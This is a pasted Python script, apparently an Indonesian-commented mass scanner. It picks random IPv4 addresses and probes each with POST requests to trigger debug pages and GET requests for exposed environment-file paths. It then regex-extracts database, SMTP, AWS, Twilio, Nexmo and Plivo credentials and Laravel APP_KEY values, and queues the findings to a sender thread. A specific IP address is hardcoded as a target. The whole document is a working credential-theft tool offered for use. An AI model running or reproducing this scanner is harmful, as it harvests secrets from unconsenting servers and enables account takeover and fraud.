- print("\x1b[92m%s\x1b[0m: found credential: \x1b[92m%s\x1b[0m" % (
- self.threadName, name))
- resp = resp.strip()
- t = 3 if resp.count("\n") > 0 else 1
- if t == 3:
- resp = "\n" + resp
- if not resp.startswith("`"):
- resp = f"{'`' * t}{resp}"
- if not resp.endswith("`"):
- resp = f"{resp}{'`' * t}"
- resp = ("===== #%s =====\n"
- "%s" % (name.upper(), resp))
- with lock:
- s.append(header + resp)
- status = True
- return status
- # == Grab Fn: Tambahin sendiri kalau paham ====
- def grab_database(self):
- return self.build(keywords["database"], fn=self.value)
- def grab_apache(self):
- return self.build(keywords["apache"], fn=self.value)
- def grab_nexmo(self):
- return self.build(keywords["nexmo"], fn=self.value)
- def grab_twilio(self):
- return self.build(keywords["twilio"], fn=self.value)
- def grab_plivo(self):
- return self.build(keywords["plivo"], fn=self.value)
- def grab_app_key(self):
- key = self.value("APP_KEY")
- if not key or not key.startswith("base64:"):
- return
- return f"APP_KEY={key}"
- def grab_smtp(self):
- return self.build(keywords["smtp"], fn=self.value)
- def grab_aws(self):
- def get_region():
- yreg = re.compile('(?i)us\\-east\\-1|us\\-east\\-2|us\\-west\\-1|us\\-west\\-2|af\\-south\\-1|ap\\-east\\-1|ap\\-south\\-1|ap\\-northeast\\-1|ap\\-northeast\\-2|ap\\-northeast\\-3|ap\\-southeast\\-1|ap\\-southeast\\-2|ca\\-central\\-1|eu\\-central\\-1|eu\\-west\\-1|eu\\-west\\-2|eu\\-west\\-3|eu\\-south\\-1|eu\\-north\\-1|me\\-south\\-1|sa\\-east\\-1')
- text = yreg.search(str(self._soup[self.threadName]))
- if text:
- return text.group()
- dat = {k: v for k, v in keywords.items() if k.startswith("aws")}
- r = {}
- for k, v in dat.items():
- name = "|".join(map(re.escape, v))
- value = self.value(name)
- if value:
- r[k] = value
- if not r.get("aws_region"):
- region = get_region()
- if region:
- r["aws_region"] = region
- region = r.get("aws_region")
- if region and len(r) < 2:
- return
- resp = ""
- for k, v in r.items():
- resp += f"{k.upper()}={v}\n"
- return resp
- # == END ==
- q = queue.Queue()
- q.put("http://3.1.108.34")
- lock = threading.Lock()
- ga = GrabAnything()
- etc_key = keywords["etc"]
- alias = {i[0].upper(): i[1] for i in etc_key if not isinstance(i, str)}
- xreg = re.compile("(?i)" + r"|".join(
- r"(?P<%s>%s)" % (
- k, "|".join(
- map(lambda bv: re.escape(bv if isinstance(bv, str) else bv[0]), v))
- ) for k, v in keywords.items()
- ))
- def is_alive(url):
- try:
- r = requests.head(url, timeout=3, allow_redirects=True)
- return r.status_code
- except Exception as e:
- return False
- def worker():
- global total_
- while not stop:
- url = q.get()
- try:
- parsed = urlparse(url)
- url = "http://{}".format(
- parsed.netloc or url.split("/", 1)[0].split("|")[0])
- tname = threading.currentThread().name
- if is_alive(url):
- result = None
- method = ""
- try:
- print("\x1b[34m%s\x1b[0m: %s (POST)" % (tname, url))
- r = requests.post(url, data=[],
- verify=False, timeout=3,
- headers={'User-agent': 'Mozilla/5.0 (X11 Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36'})
- res_t = xreg.findall(r.text)
- if res_t:
- method = "DEBUG"
- result = (res_t, r.text)
- except Exception:
- pass
- if result is None:
- for path in env_path:
- try:
- print(
- "\x1b[34m%s\x1b[0m: %s/%s (GET)" % (tname, url, path))
- r = requests.get("/".join([url, path]), allow_redirects=False,
- verify=False, timeout=3,
- headers={'User-agent': 'Mozilla/5.0 (X11 Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36'})
- res_t = xreg.findall(r.text)
- if res_t:
- method = path
- result = (res_t, r.text)
- break
- except Exception as e:
- pass
- if result is not None:
- result, raw = result
- print(
- "\x1b[92m%s\x1b[0m: found %s matches credentials: \x1b[92m%s\x1b[0m (%s)" % (tname, len(result), url, method))
- ip = re.sub(r"^https?://", "", url)
- try:
- host = socket.gethostbyaddr(ip)[0]
- if is_alive(host):
- url = "http://" + host
- except Exception:
- pass
- x = ("- url: %s\n"
- "- ip: `%s`\n"
- "- method: `%s`\n\n"
- "" % (url + ("/" + method if method != "DEBUG" else ""),
- ip, method))
- if not ga.grabAll(raw, msg=x):
- x = x.strip()
- fo = set()
- for i in set(result):
- for y in filter(None, i):
- y = y.upper()
- fo.add(alias.get(y, y))
- if len(fo) > 0:
- x += "\n- found: "
- x += ", ".join("`%s`" % i for i in fo)
- with lock:
- s.append(x)
- else:
- print(
- "\x1b[91m%s\x1b[0m: %s: \x1b[93mNo Credentials\x1b[0m" % (tname, url))
- else:
- if PRINT_SITE_DOWN:
- print("\x1b[91m%s\x1b[0m: %s: Site Down!" % (tname, url))
- except Exception as e:
- if hasattr(e, "args") and len(e.args) == 2:
- e = e.args[1]
- print("\x1b[91m%s\x1b[0m: Error: %s" % (tname, str(e).strip()))
- with lock:
- total_ += 1
- q.task_done()
- def rand_v4():
- while not stop:
- ip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
- if xhreg is None or xhreg.search(ip):
- yield ip
- th = threading.Thread(target=send_worker)
- th.setDaemon(True)
- th.start()
- threads = [th]
- try:
- for _ in range(thread):
- th = threading.Thread(target=worker)
- th.setDaemon(True)
- th.start()
- threads.append(th)
- for line in rand_v4():
- while q.qsize() > thread:
- continue
- q.put(line)
- q.join()
- except:
- pass
- try:
- stop = True
- for i in threads:
- if i.is_alive() and not q.empty():
- print(
- "\x1b[93m%s\x1b[0m: waiting for the data to finish processing" % i.name)
- i.join()
- except:
- pass
Add Comment
Please, Sign In to add comment